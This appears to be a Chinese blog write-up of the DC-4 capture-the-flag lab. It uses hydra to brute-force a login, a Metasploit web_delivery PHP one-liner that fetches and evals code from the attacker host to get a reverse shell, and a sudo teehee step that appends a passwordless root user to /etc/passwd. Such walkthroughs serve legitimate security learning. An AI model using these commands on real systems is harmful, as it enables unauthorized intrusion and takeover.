Vulhub-DC-4靶场

前言

这套靶场的亮点在于对hydra的运用比较多,在遇到大容量字典的时候,BurpSuite可能会因为设置的运行内存的限制,导致字典需要花很长时间导入进去,虽然通过修改配置文件可以解决这点,但是总没有Hydra爆破工具来的更加友好。

通过本篇博客着重学习以下三点:

1.Hydra爆破

2.MSF PHP木马加载

3./etc/passwd写入root用户

正文

信息搜集

传统艺能: arp-scan -l,发现存活IP:

使用Nmap进行端口探测,发现存活80端口和22端口

账户爆破

进入Web页面后发现如下界面

这边呢看到登录表单,又是admin,尝试使用Burp,账户名是admin进行爆破,但是因为字典太大的缘故。字典一直导入不进去,所以尝试使用Xhydra进行爆破。这边因为是post表单所以选择http-post-form,字典选用kali自带的rockyou字典

相关hydra使用博客教程如下:https://blog.csdn.net/qq_42342141/article/details/106390594

命令如下:

hydra -l admin -P rock.txt 192.168.40.130 "/login.php:username=^USER^&&password=^PASS^:S=lougout" -F

爆破出账户为admin,密码为happy

后台Getshell

这边有三个命令选型,进行抓包,查看数据包:

看一看存在命令执行漏洞,尝试读取敏感文件/etc/passwd,可以看到存在两个用户,分别为Jim和Sam

这边因为目标靶机是Linux,并且肯定跑着PHP,所以想着使用生成木马getshell,打开msfconsole,使用以下模块

msf6>use exploit/multi/script/web_delivery
msf6>set lhost 192.168.40.128
msf6>set lport 4444
msf6>set payload php/meterpreter/reverse_tcp

生成如下命令,讲radio栏中的命令进行替换,成功获得会话

php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.40.128:8081/VCrYQNz9f9yp', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"

进入会话使用python获得伪终端:

进入后在家目录下发现三个用户,并且在jim用户下找到旧密码的备份文件,保存到本地,使用hydra进行ssh爆破

使用ssh成功登录,过了一会儿收到一封邮件,提示/var/mail下的jim文件,最后得到charles的密码,进行用户切换。

权限提升

使用sudo -l 看到teehee可以免密码执行root权限。并且teehee可以讲字段附加到文本末。

这里需要先了解下/etc/passwd里不同字段的含义。

  注册名:口令:用户标识号:组标识号:用户名:用户主目录:命令解释程序

所以我们尝试写入具有root权限的用户到/etc/passwd来进行提权

echo "ha::0:0::/home/jim:/bin/bash" |sudo teehee -a "/etc/passwd"

期间多次su无法进入Root,最终重启虚拟机成功root.

最终拿到Flag

最新文章

  1. pict(Pairwise Independent Combinatorial Testing)工具使用
  2. http权威指南
  3. UVA 11582 Colossal Fibonacci Numbers! 大斐波那契数
  4. 用户 'IIS APPPOOL\***' 登录失败
  5. IP地址在数据库里面的存储方式
  6. POJ 2110 Mountain Walking 二分+bfs
  7. java操作Excel处理数字类型的精度损失问题验证
  8. HDU4876ZCC loves cards(多校题)
  9. kotlin-30分钟快速入门
  10. cocos2d-x 托付模式的巧妙运用——附源代码(一)
  11. 【Codeforces Round #435 (Div. 2) A B C D】
  12. HTML页面中插入CSS样式的三种方法
  13. 洛谷P1402 酒店之王
  14. 多个Activity之间共享数据的方式
  15. ISO七层模型详解
  16. Oracle11g ADG环境实施文档-1204
  17. django用mysql数据库出现的问题解决
  18. saliency map [转]
  19. django的forms
  20. 使用 if 表达式

热门文章

  1. Maven:手动添加jar包进Maven本地库内
  2. kafka错误集锦
  3. python中的内置函数lambda map filter reduce
  4. 因为它,我差点删库跑路:js防抖与节流
  5. 分享一份550多个Linux命令的文档,按照命令首字母索引排序
  6. dev c++处理汉字
  7. python 读取 查询 更新 删除 sql2008 类及应用
  8. 【Python从入门到精通】(十一)Python的函数的方方面面【收藏下来保证有用!!!】
  9. [源码解析] 深度学习分布式训练框架 horovod (17) --- 弹性训练之容错
  10. 微信小程序云开发-云函数-创建云函数